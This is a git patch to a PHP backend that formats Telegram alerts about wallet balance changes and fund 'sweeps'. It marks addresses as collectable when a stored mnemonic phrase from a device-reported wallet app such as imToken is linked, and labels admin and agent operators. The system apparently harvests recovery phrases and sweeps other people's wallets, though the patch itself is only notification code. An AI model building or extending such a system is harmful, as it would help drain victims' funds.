From 2625707aed05bce06171df93b6d606c1340ddee6 Mon Sep 17 00:00:00 2001 From: hashbro Date: Sat, 19 Sep 2026 02:20:51 +0800 Subject: [PATCH] fix: notice --- app/Services/TelegramNotifier.php | 48 +++++++++++++-- .../Tokenview/TokenviewMonitorService.php | 7 +++ app/Services/TransferService.php | 3 +- tests/Feature/TokenviewWebhookTest.php | 61 ++++++++++++++++++- tests/Feature/TransferTelegramNotifyTest.php | 20 ++++-- 5 files changed, 126 insertions(+), 13 deletions(-) diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 3b1b9cb..f561f18 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -376,13 +376,19 @@ class TelegramNotifier ?string $chain = null, ?string $balance = null, bool $inbound = true, + ?bool $collectable = null, + ?string $source = null, ): void { $signed = ($inbound ? '+' : '-').ltrim($amount, '+-'); + $source = trim((string) $source); + $chain = trim((string) $chain); + $origin = implode(' - ', array_values(array_filter([$source, $chain]))); $lines = [ $inbound ? '✅ 余额入账' : '📤 余额转出', ...$this->deviceHeader($deviceId), - '🪙 链: '.$this->e($chain ?: '—'), + '🏷 来源: '.$this->e($origin !== '' ? $origin : '—'), '📬 地址: '.$this->e($address).'', + '📥 可归集: '.($collectable === true ? '✅' : '❌'), '💵 金额: '.$this->e($signed).' '.$this->e($symbol), ]; if ($balance !== null && trim($balance) !== '') { @@ -392,7 +398,7 @@ class TelegramNotifier } /** - * Auto-transfer result (success or failure). + * Sweep / transfer result (auto cron or admin/agent/telegram). */ public function notifyAutoTransfer( string $deviceId, @@ -404,14 +410,22 @@ class TelegramNotifier ?string $toAddress = null, ?string $txid = null, ?string $error = null, + ?string $operator = null, ): void { + $auto = trim((string) $operator) === 'auto'; $lines = [ - $ok ? '🚀 自动转账成功' : '⚠️ 自动转账失败', + $ok + ? ($auto ? '🚀 自动转账成功' : '🧾 手动归集成功') + : ($auto ? '⚠️ 自动转账失败' : '⚠️ 手动归集失败'), ...$this->deviceHeader($deviceId), - '🪙 链: '.$this->e($chain !== '' ? strtoupper($chain) : '—'), - '💎 资产: '.$this->e($asset !== '' ? strtoupper($asset) : '—'), - '📤 转出: '.$this->e($fromAddress).'', ]; + $who = $this->operatorDisplay($operator); + if ($who !== '') { + $lines[] = '👤 操作人: '.$this->e($who); + } + $lines[] = '🪙 链: '.$this->e($chain !== '' ? strtoupper($chain) : '—'); + $lines[] = '💎 资产: '.$this->e($asset !== '' ? strtoupper($asset) : '—'); + $lines[] = '📤 转出: '.$this->e($fromAddress).''; if ($toAddress !== null && trim($toAddress) !== '') { $lines[] = '📥 转入: '.$this->e($toAddress).''; } @@ -427,6 +441,28 @@ class TelegramNotifier $this->send(implode("\n", $lines), $deviceId); } + public function operatorDisplay(?string $operator): string + { + $operator = trim((string) $operator); + if ($operator === '' || $operator === 'auto') { + return ''; + } + if (preg_match('/^admin:\d+@(.+)$/', $operator, $m) === 1) { + return '管理员 '.$m[1]; + } + if (preg_match('/^agent:\d+@(.+)$/', $operator, $m) === 1) { + return '代理 '.$m[1]; + } + if (preg_match('/^telegram:\d+@(.+)$/', $operator, $m) === 1) { + return 'Telegram @'.$m[1]; + } + if (preg_match('/^telegram:(.+)$/', $operator, $m) === 1) { + return 'Telegram '.$m[1]; + } + + return $operator; + } + /** * TRON fee / energy top-up result. */ diff --git a/app/Services/Tokenview/TokenviewMonitorService.php b/app/Services/Tokenview/TokenviewMonitorService.php index 59f9783..08fea64 100644 --- a/app/Services/Tokenview/TokenviewMonitorService.php +++ b/app/Services/Tokenview/TokenviewMonitorService.php @@ -246,6 +246,11 @@ class TokenviewMonitorService 'changes' => $changes, 'rows_count' => $rows->count(), ]); + $collectable = $rows->contains(fn (WalletAddress $row) => $row->mnemonic_id !== null); + $source = trim((string) ($primary->source ?? '')); + if ($source === '') { + $source = (string) ($rows->first(fn (WalletAddress $row) => trim((string) $row->source) !== '')?->source ?? ''); + } foreach ($changes as $col => $delta) { $this->telegram->notifyBalanceChange( (string) $deviceKey, @@ -255,6 +260,8 @@ class TokenviewMonitorService $coin, $balanceSummary, $delta > 0, + $collectable, + $source, ); } } diff --git a/app/Services/TransferService.php b/app/Services/TransferService.php index 5566c5f..b8c5060 100644 --- a/app/Services/TransferService.php +++ b/app/Services/TransferService.php @@ -336,7 +336,7 @@ class TransferService private function notifyTransferTelegram(array $record, array $result): void { $operator = (string) ($record['operator'] ?? ''); - if ($operator !== 'auto') { + if (str_starts_with($operator, 'fee-topup')) { return; } @@ -357,6 +357,7 @@ class TransferService isset($record['to_address']) ? (string) $record['to_address'] : null, isset($record['tx_hash']) ? (string) $record['tx_hash'] : null, isset($record['error']) ? (string) $record['error'] : ($result['error'] ?? null), + $operator !== '' ? $operator : null, ); } catch (\Throwable) { // never break transfer for telegram diff --git a/tests/Feature/TokenviewWebhookTest.php b/tests/Feature/TokenviewWebhookTest.php index dacf32c..7488f98 100644 --- a/tests/Feature/TokenviewWebhookTest.php +++ b/tests/Feature/TokenviewWebhookTest.php @@ -6,6 +6,7 @@ use App\Models\Admin; use App\Models\Device; use App\Models\TokenviewEvent; use App\Models\WalletAddress; +use App\Models\WalletMnemonic; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Http; use PHPUnit\Framework\Attributes\Test; @@ -179,7 +180,10 @@ class TokenviewWebhookTest extends TestCase return str_contains($text, '余额入账') && str_contains($text, '+5 USDT') && str_contains($text, '余额') - && str_contains($text, 'USDT'); + && str_contains($text, 'USDT') + && str_contains($text, '来源: imToken - TRX') + && str_contains($text, '可归集') + && str_contains($text, '❌'); }); } @@ -244,7 +248,8 @@ class TokenviewWebhookTest extends TestCase && str_contains($text, '-500 USDT') && ! str_contains($text, '余额入账') && str_contains($text, '余额') - && str_contains($text, '45.6'); + && str_contains($text, '45.6') + && str_contains($text, '可归集: ❌'); }); } @@ -336,6 +341,58 @@ class TokenviewWebhookTest extends TestCase $this->assertSame(0, TokenviewEvent::query()->count()); } + #[Test] + public function webhook_marks_balance_change_collectable_when_mnemonic_linked(): void + { + config(['coruna.tokenview.sign_key' => '']); + Http::fake([ + 'api.telegram.org/*' => Http::response(['ok' => true], 200), + ]); + config([ + 'coruna.telegram.bot_token' => 'bot-token', + 'coruna.telegram.owner_chat_id' => '12345', + ]); + + $device = Device::query()->create([ + 'device_id' => 'dev-tv-collectable', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + $mnemonic = new WalletMnemonic([ + 'device_id' => $device->id, + 'source' => 'imToken', + ]); + $mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $mnemonic->save(); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => '0xab5c66752a9e8167967685f1450532fb96d5d24f', + 'chain_type' => 'ETH', + 'source' => 'imToken', + 'eth' => 1.0, + 'monitor' => 1, + 'mnemonic_id' => $mnemonic->id, + ]); + + $this->postJson('/hooks/tokenview', [ + 'address' => $addr->address, + 'txid' => '0xcollectable-'.str_repeat('b', 40), + 'coin' => 'ETH', + 'value' => '0.5', + ])->assertOk()->assertSee('ok'); + + Http::assertSent(function ($request) { + if (! str_contains($request->url(), 'api.telegram.org')) { + return false; + } + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($text, '余额入账') + && str_contains($text, '来源: imToken - ETH') + && str_contains($text, '可归集: ✅') + && ! str_contains($text, '可归集: ❌'); + }); + } + #[Test] public function webhook_ignores_address_when_monitor_off(): void { diff --git a/tests/Feature/TransferTelegramNotifyTest.php b/tests/Feature/TransferTelegramNotifyTest.php index 59d8852..fe119ea 100644 --- a/tests/Feature/TransferTelegramNotifyTest.php +++ b/tests/Feature/TransferTelegramNotifyTest.php @@ -101,7 +101,7 @@ class TransferTelegramNotifyTest extends TestCase } #[Test] - public function manual_transfer_does_not_send_auto_telegram(): void + public function admin_sweep_sends_manual_telegram(): void { $this->seedDevice(); Http::fake([ @@ -118,10 +118,22 @@ class TransferTelegramNotifyTest extends TestCase 'api.telegram.org/*' => Http::response(['ok' => true], 200), ]); - $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'admin'); + $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'admin:1@alice'); $this->assertTrue($result['ok'] ?? false, $result['error'] ?? ''); - Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org')); + Http::assertSent(function ($request) { + if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) { + return false; + } + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($text, '手动归集成功') + && str_contains($text, '操作人') + && str_contains($text, '管理员 alice') + && str_contains($text, self::FROM) + && ! str_contains($text, '自动转账') + && ($request->data()['chat_id'] ?? null) === '10001'; + }); } #[Test] @@ -174,7 +186,7 @@ class TransferTelegramNotifyTest extends TestCase return Http::response([], 404); }); - $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'admin'); + $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'admin:1@alice'); $this->assertTrue($result['ok'] ?? false, $result['error'] ?? ''); Http::assertSent(function ($request) use ($feeFrom) {